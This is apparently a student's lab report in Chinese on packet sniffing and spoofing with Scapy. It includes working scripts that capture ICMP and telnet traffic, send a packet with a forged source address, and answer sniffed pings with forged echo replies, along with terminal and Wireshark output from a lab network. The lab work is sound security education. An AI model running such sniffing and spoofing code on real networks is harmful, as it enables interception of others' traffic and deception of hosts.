# Packet Sniffing and Spoofing Lab

57118229 袁超然

## Task 1.1A: Sniffing Packets

Sniffing.py 的代码：

```
#!/usr/bin/env python3
from scapy.all import *
print("sniffing")
def print_pkt(pkt):
        pkt.show()

pkt = sniff(iface='br-6135f550b7cc',filter='icmp',prn=print_pkt)
```

（1）登录后使用 root 权限运行 sniffing.py：

```
[07/04/21]seed@VM:~/.../volumes$ docksh 7e
root@VM:/# ls
bin   dev  home  lib32  libx32  mnt  proc  run   srv  tmp  var
boot  etc  lib   lib64  media   opt  root  sbin  sys  usr  volumes
root@VM:/# cd volumes
root@VM:/volumes# ls
sniffer.py
root@VM:/volumes# sniffer.py
```

检测到数据包后，显示：

```
root@VM:/volumes# sniffer.py
sniffing
###[ Ethernet ]###
  dst       = 02:42:0a:09:00:05
  src       = 02:42:62:ea:50:1c
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 35105
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = icmp
     chksum    = 0x9d70
     src       = 10.9.0.1
     dst       = 10.9.0.5
     \options   \
###[ ICMP ]###
        type      = echo-request
        code      = 0
        chksum    = 0x8951
        id        = 0x1
        seq       = 0x1
###[ Raw ]###
           load      = 'd\xdd\xe2`\x00\x00\x00\x00`\x9b\x08\x00\x00\x00\x00\x00\
x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./
01234567'
```

（2）使用非 root 用户执行 sniffer.py，发生权限错误：

```
root@VM:/volumes# su seed
seed@VM:/volumes$ sniffer.py
sniffing
Traceback (most recent call last):
  File "./sniffer.py", line 7, in <module>
    pkt = sniff(iface='br-6135f550b7cc',filter='icmp',prn=print_pkt)
  File "/usr/local/lib/python3.8/dist-packages/scapy/sendrecv.py", line 1036, in
 sniff
    sniffer._run(*args, **kwargs)
  File "/usr/local/lib/python3.8/dist-packages/scapy/sendrecv.py", line 906, in
_run
    sniff_sockets[L2socket(type=ETH_P_ALL, iface=iface,
  File "/usr/local/lib/python3.8/dist-packages/scapy/arch/linux.py", line 398, i
n __init__
    self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(typ
e))  # noqa: E501
  File "/usr/lib/python3.8/socket.py", line 231, in __init__
    _socket.socket.__init__(self, family, type, proto, fileno)
PermissionError: [Errno 1] Operation not permitted
seed@VM:/volumes$
```

## Task 1.1B: Sniffing Packets

(1) 仅捕获 ICMP 报文
同上，使用“icmp”的 filter：

```
#!/usr/bin/env python3
from scapy.all import *
print("sniffing")
def print_pkt(pkt):
        pkt.show()

pkt = sniff(iface='br-6135f550b7cc',filter='icmp',prn=print_pkt)
```

输出结果相同。

(2) 捕获从特定 IP 发出的，目的端口为 23 的 TCP 包
使用如下 filter:

```
pkt = sniff(filter='src host 192.168.88.130 and tcp dst port 23',prn=print_pkt)
```

登录后使用 telnet 尝试通过 23 端口远程登录用户：

```
[07/05/21]seed@VM:~/.../volumes$ telnet 10.9.0.5 23
```

运行结果如下：

```
###[ Ethernet ]###
  dst       = 00:50:56:e3:01:3c
  src       = 00:0c:29:36:40:7c
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x10
     len       = 60
     id        = 57121
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = tcp
     chksum    = 0x3852
     src       = 192.168.88.130
     dst       = 10.9.0.5
     \options   \
###[ TCP ]###
        sport     = 41842
        dport     = telnet
        seq       = 3162478286
        ack       = 0
        dataofs   = 10
        reserved  = 0
        flags     = S
        window    = 64240
        chksum    = 0x2367
        urgptr    = 0
        options   = [('MSS', 1460), ('SAckOK', b''), ('Timestamp', (3012650063,
0)), ('NOP', None), ('WScale', 7)]
```

(3) 捕获从特定子网中发起或前往特定子网的报文：
选择子网 128.230.0.0/16 作为目标，使用如下 filter:

```
7 pkt = sniff(filter='net 128.230.0.0/16',prn=print_pkt)
```

登录后连接子网中的地址 128.230.0.1：

```
[07/05/21]seed@VM:~/.../volumes$ ping 128.230.0.1
PING 128.230.0.1 (128.230.0.1) 56(84) bytes of data.
64 bytes from 128.230.0.1: icmp_seq=1 ttl=128 time=214 ms
64 bytes from 128.230.0.1: icmp_seq=2 ttl=128 time=214 ms
64 bytes from 128.230.0.1: icmp_seq=3 ttl=128 time=214 ms
64 bytes from 128.230.0.1: icmp_seq=4 ttl=128 time=213 ms
```

输出结果如下：

```
###[ Ethernet ]###
  dst       = 00:0c:29:36:40:7c
  src       = 00:50:56:e3:01:3c
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 17734
     flags     =
     frag      = 0
     ttl       = 128
     proto     = icmp
     chksum    = 0x5b51
     src       = 128.230.0.1
     dst       = 192.168.88.130
     \options   \
###[ ICMP ]###
        type      = echo-reply
        code      = 0
        chksum    = 0xffb1
        id        = 0xa
        seq       = 0x4
###[ Raw ]###
           load      = 'N4\xe3`\x00\x00\x00\x00\x07\xd8\x08\x00\x00\x00\x00\x00\
x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./
01234567'
```

## Task 1.2: Spoofing ICMP Packets

程序 spoof.py 代码如下：
设置伪装的 ip 地址为 123.123.123.1，dst 目标地址为 10.9.0.5

```
#!/usr/bin/env python3
from scapy.all import *
a = IP()
a.src = '123.123.123.1'
a.dst = '10.9.0.5'
b = ICMP()
p = a/b
send(p)
```

运行程序后发送伪造的包：

```
root@VM:/volumes# spoof.py
.
Sent 1 packets.
```

使用 Wireshark 查看：

```
3 2021-07-05 21:5… 123.123.123.1   10.9.0.5        ICMP   42 Echo (ping) request  id=0x0000, seq=0/0, ttl=64 (reply in 4)
4 2021-07-05 21:5… 10.9.0.5        123.123.123.1   ICMP   42 Echo (ping) reply    id=0x0000, seq=0/0, ttl=64 (request in 3)
```

可以发现，成功从 10.9.0.5 地址处得到回显请求包。

## Task 1.3: Traceroute

Traceroute 代码如下：

```
#!/usr/bin/env python3
from scapy.all import *
for i in range(1,40):
        a = IP()
        a.dst = '202.108.22.5'
        a.ttl=i
        b=ICMP()
        send(a/b)
```

```
root@VM:/volumes# Traceroute
.
Sent 1 packets.
.
Sent 1 packets.
```

使用 wireshark 查看：

```
No.  Time                Source          Destination     Protocol Length Info
  22 2021-07-05 22:1… 192.168.88.130 202.108.22.5    ICMP       42 Echo (ping) request  id=0x0000, seq=0/0, ttl=19 (no response …
  23 2021-07-05 22:1… 192.168.88.130 202.108.22.5    ICMP       42 Echo (ping) request  id=0x0000, seq=0/0, ttl=20 (no response …
  24 2021-07-05 22:1… 192.168.88.130 202.108.22.5    ICMP       42 Echo (ping) request  id=0x0000, seq=0/0, ttl=21 (reply in 25)
  25 2021-07-05 22:1… 202.108.22.5   192.168.88.130  ICMP       60 Echo (ping) reply    id=0x0000, seq=0/0, ttl=128 (request in …
  26 2021-07-05 22:1… 192.168.88.130 202.108.22.5    ICMP       42 Echo (ping) request  id=0x0000, seq=0/0, ttl=22 (reply in 27)
  27 2021-07-05 22:1… 202.108.22.5   192.168.88.130  ICMP       60 Echo (ping) reply    id=0x0000, seq=0/0, ttl=128 (request in …
```

可以发现，TTL 为 21 时从目标地址 202.108.22.5 返回第一个包，因此，虚拟机到目的地址之间间隔为 21 跳。

## Task 1.4: Sniffing and-then Spoofing

首先，尝试连接几个目的地址：

```
root@5e5db6b14a23:/# ping 1.2.3.4
PING 1.2.3.4 (1.2.3.4) 56(84) bytes of data.
^Z
[1]+  Stopped                 ping 1.2.3.4
root@5e5db6b14a23:/# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=127 time=301 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=127 time=101 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=127 time=101 ms
^Z
[2]+  Stopped                 ping 8.8.8.8
root@5e5db6b14a23:/# ping 10.9.0.99
PING 10.9.0.99 (10.9.0.99) 56(84) bytes of data.
From 10.9.0.5 icmp_seq=1 Destination Host Unreachable
From 10.9.0.5 icmp_seq=2 Destination Host Unreachable
From 10.9.0.5 icmp_seq=3 Destination Host Unreachable
^Z
[3]+  Stopped                 ping 10.9.0.99
```

可以发现，可以成功连接 8.8.8.8，但同一子网中的地址 10.9.0.99 由于不存在，无法连接；地址 1.2.3.4 也无法连接。

查看路由信息：

```
root@5e5db6b14a23:/# ip route get 1.2.3.4
1.2.3.4 via 10.9.0.1 dev eth0 src 10.9.0.5 uid 0
    cache
root@5e5db6b14a23:/# ip route get 8.8.8.8
8.8.8.8 via 10.9.0.1 dev eth0 src 10.9.0.5 uid 0
    cache
root@5e5db6b14a23:/# ip route get 10.9.0.99
10.9.0.99 dev eth0 src 10.9.0.5 uid 0
    cache
```

sniff 并 spoof 的程序代码：

```
1 #!/usr/bin/env python3
2 from scapy.all import *
3 def sn_sp(pkt):
4         if pkt[ICMP].type==8:
5                 ip=IP(src=pkt[IP].dst,dst=pkt[IP].src)
6                 icmp=ICMP(type=0,id=pkt[ICMP].id,seq=pkt[ICMP].seq)
7                 data=pkt[Raw].load
8                 packet=ip/icmp/data
9                 send(packet)
10 pkt=sniff(iface='br-6135f550b7cc',filter='icmp',prn=sn_sp)
```

登录后运行程序：

```
root@VM:/volumes# sn_sp.py
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
```

（1）ping 1.2.3.4

可以发现，原本无法连接的不存在的地址现在可以 ping 通，因此可以判断，成功进行了数据包欺骗：

```
root@5e5db6b14a23:/# ping 1.2.3.4
PING 1.2.3.4 (1.2.3.4) 56(84) bytes of data.
64 bytes from 1.2.3.4: icmp_seq=1 ttl=64 time=153 ms
64 bytes from 1.2.3.4: icmp_seq=2 ttl=64 time=61.8 ms
64 bytes from 1.2.3.4: icmp_seq=3 ttl=64 time=14.4 ms
64 bytes from 1.2.3.4: icmp_seq=4 ttl=64 time=18.5 ms
64 bytes from 1.2.3.4: icmp_seq=5 ttl=64 time=17.8 ms
64 bytes from 1.2.3.4: icmp_seq=6 ttl=64 time=24.4 ms
^Z
[4]+  Stopped                 ping 1.2.3.4
```

（2）Ping 8.8.8.8

可以发现，能够 ping 通。同时，出现 DUP！说明接收到了多个回复，其中包括伪造的 reply：

```
root@5e5db6b14a23:/# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=64 time=21.0 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=127 time=110 ms (DUP!)
64 bytes from 8.8.8.8: icmp_seq=2 ttl=64 time=19.1 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=127 time=125 ms (DUP!)
64 bytes from 8.8.8.8: icmp_seq=3 ttl=64 time=19.0 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=127 time=99.0 ms (DUP!)
```

（3）Ping 10.9.0.99

结果发现，目标地址依旧显示不可达，没有发送伪造的 reply 数据包：

```
root@5e5db6b14a23:/# ping 10.9.0.99
PING 10.9.0.99 (10.9.0.99) 56(84) bytes of data.
^Z
[6]+  Stopped                 ping 10.9.0.99
root@5e5db6b14a23:/#
```

增加一条从 10.9.0.99 指向 10.9.0.1 网关的路由，并查看路由信息，可以发现添加成功：

```
root@5e5db6b14a23:/# ip route add 10.9.0.99 via 10.9.0.1 dev eth0
root@5e5db6b14a23:/# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref
Use Iface
0.0.0.0         10.9.0.1        0.0.0.0         UG    0      0
  0 eth0
10.9.0.0        0.0.0.0         255.255.255.0   U     0      0
  0 eth0
10.9.0.99       10.9.0.1        255.255.255.255 UGH   0      0
  0 eth0
```

在此尝试连接，成功收到了伪造的 reply 数据包：

```
root@5e5db6b14a23:/# ping 10.9.0.99
PING 10.9.0.99 (10.9.0.99) 56(84) bytes of data.
64 bytes from 10.9.0.99: icmp_seq=1 ttl=64 time=14.6 ms
64 bytes from 10.9.0.99: icmp_seq=2 ttl=64 time=17.2 ms
64 bytes from 10.9.0.99: icmp_seq=3 ttl=64 time=21.8 ms
```

这是因为根据路由信息，包成功发送到 10.9.0.1 的攻击者地址，因此有了伪造 reply 数据包的条件。